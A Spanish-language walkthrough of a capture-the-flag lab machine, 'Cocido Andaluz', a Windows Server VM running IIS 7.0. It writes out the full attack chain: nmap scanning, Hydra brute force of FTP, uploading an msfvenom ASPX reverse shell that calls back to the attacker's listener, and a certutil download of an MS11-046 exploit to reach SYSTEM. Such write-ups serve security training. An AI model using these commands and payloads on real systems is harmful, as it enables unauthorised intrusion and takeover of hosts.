

COCIDO ANDALUZ



LOCALIZACION

Uso de arp-scan para identificar la dirección IP

```
sudo arp-scan --interface eth0 -l
```

Salida relevante:
IP: 192.168.0.15

CONECTIVIDAD

Uso de ping para verificar la conectividad con el host identificado.

```
ping -c1 192.168.0.15
```

```
ttl=128 windows
```

ESCANEO DE PUERTOS

Uso de Nmap para identificar servicios activos y versiones en el host.

```
nmap -p- -Pn -sVCS --min-rate 5000 192.168.0.15 -T 2
```

Servicios destacados:

- Microsoft Windows RPC (puertos múltiples)
- Servicio Microsoft ftpd puerto 21
- Servicio IIS 7.0. puerto 80
- Servicio SMB puerto 445

*El servidor web identificado es **Microsoft IIS httpd 7.0.***

IIS (Internet Information Services) es un servidor web desarrollado por Microsoft para sistemas operativos Windows. Se utiliza para hospedar y servir aplicaciones web, sitios web y servicios como FTP o SMTP. Ofrece soporte para diversos protocolos, incluidos HTTP, HTTPS, FTP y SMTP.

En un primer intento, no hemos sido capaces de conectar por el protocolo FTP y como no encontramos nada más, realizamos un ataque de fuerza bruta contra el servidor FTP utilizando [Hydra](#)

```
hydra -L /usr/share/seclists/Username/xato-net-10-million-  
usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-  
million-passwords.txt ftp://192.15
```

info/PolniyPizdec0211

Con estas credenciales nos vamos al protocolo FTP

```
ftp 192.168.0.15
```

```
dr--r--r--  1 owner  group          0 Jun 14 17:12 aspNet_client  
-rwxrwxrwx  1 owner  group        11069 Jun 15 16:39 index.html  
-rwxrwxrwx  1 owner  group       184946 Jun 14 16:48 welcome.png
```

ASP.NET: Es un framework de desarrollo web de Microsoft, que se usa para crear aplicaciones web dinámicas. Los archivos generados por ASP.NET suelen tener extensiones como .aspx (para páginas web), .asmx (para servicios web), o .ashx (para controladores HTTP personalizados).

Archivos .ASPX: Son archivos de página de servidor de ASP.NET. Cuando un usuario accede a una página .aspx, el servidor web ejecuta el código del servidor (generalmente escrito en C# o VB.NET), genera la respuesta HTML y la envía al navegador del cliente.

EXPLOTACIÓN

Con lo que vamos a probar en crear una reverseshell en .aspx

Con msfvenom generamos un payload en aspx

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.49  
LPORT=4444 -f aspx > shell.aspx
```

En local nos ponemos a la escucha con netcat

```
nc -nlvp 4444
```

Subimos la shell generada con msfvenom por ftp

```
ftp 192.168.0.15
```

```
put shell.aspx
```

Nos vamos al navegador y ejecutamos el payload

```
http://192.168.0.15/shell.aspx
```

Obtenemos conexión

```
nc -nlvp 4444
```

```
listening on [any] 4444 ...
```

```
connect to [192.168.0.49] from (UNKNOWN) [192.168.0.15] 49169
```

```
Microsoft Windows [Versión 6.0.6001]
```

```
Copyright (c) 2006 Microsoft Corporation. Reservados todos los  
derechos.
```

```
c:\windows\system32\inetsrv>
```

ESCALADA DE PRIVILEGIOS

El comando **Systeminfo** en Windows proporciona una visión detallada del sistema, incluyendo información sobre el hardware y software de la máquina. Este comando se ejecuta en la línea de comandos de Windows y muestra una serie de datos importantes para la administración del sistema o durante un análisis de seguridad

```

C:\inetpub\wwwroot>Systeminfo
Systeminfo
https://www.exploit-db.com/exploits/40564
Nombre de host: WIN-JG67MIHZH2X
Nombre del sistema operativo: Microsoft® Windows Server® 2
Versi#n del sistema operativo: 6.0.6001 Service Pack 1 Com
Fabricante del sistema operativo: Microsoft Corporation
Configuraci#n del sistema operativo: Servidor independiente
Tipo de compilaci#n del sistema operativo: Multiprocessor Free
Propiedad de: Usuario de Windows
Organizaci#n registrada:
Id. del producto: 92577-082-2500446-76907
Fecha de instalaci#n original: 14/06/2024, 12:21:47
Tiempo de arranque del sistema: 20/12/2024, 18:33:21
Fabricante del sistema: innotek GmbH
Modelo el sistema: VirtualBox
Tipo de sistema: X86-based PC
Procesador(es): 1 Procesadores instalados.
[01]: x86 Family 6 Model 42
Versi#n del BIOS: innotek GmbH VirtualBox, 01
Directorio de Windows: C:\Windows
Directorio de sistema: C:\Windows\system32
Dispositivo de arranque: \Device\HarddiskVolume1
Configuraci#n regional del sistema: es;Espa#ol (internacional)
Idioma de entrada: es;Espa#ol (tradicional)
Zona horaria: (GMT+01:00) Bruselas, Copen
Cantidad total de memoria f#sica: 2.023 MB
Memoria f#sica disponible: 1.672 MB
Archivo de paginaci#n: tama#o m#ximo: 4.284 MB
Archivo de paginaci#n: disponible: 4.048 MB
Archivo de paginaci#n: en uso: 236 MB
Ubicaci#n(es) de archivo de paginaci#n: C:\pagefile.sys
Dominio: WORKGROUP
Servidor de inicio de sesi#n: N/D
Revisi#n(es): N/D
Tarjeta(s) de red: 1 Tarjetas de interfaz de r
[01]: Adaptador de escritor
Nombre de conexi#n: C
DHCP habilitado: S
Servidor DHCP: 1
Direcciones IP
[01]: 192.168.0.15

```

Con la informaci#n del Systeminfo, buscamos un exploit para escalar privilegios

<https://www.exploit-db.com/exploits/40564>

Creamos una carpeta tmp

`mkdir C:\tmp`

Creamos un servidor en python

```
python3 -m http.server 8080
```

Con certutil descargo ms11-046.exe desde el servidor HTTP a la máquina víctima.

```
certutil.exe -f -urlcache -split http://192.168.0.49:8080/ms11-046.exe
```

Ya en nuestra carpeta tmp, ejecutamos el .exe

```
C:\temp>ms11-046.exe  
ms11-046.exe
```

```
c:\Windows\System32>whoami  
whoami  
nt authority\system
```

Helices
fiestas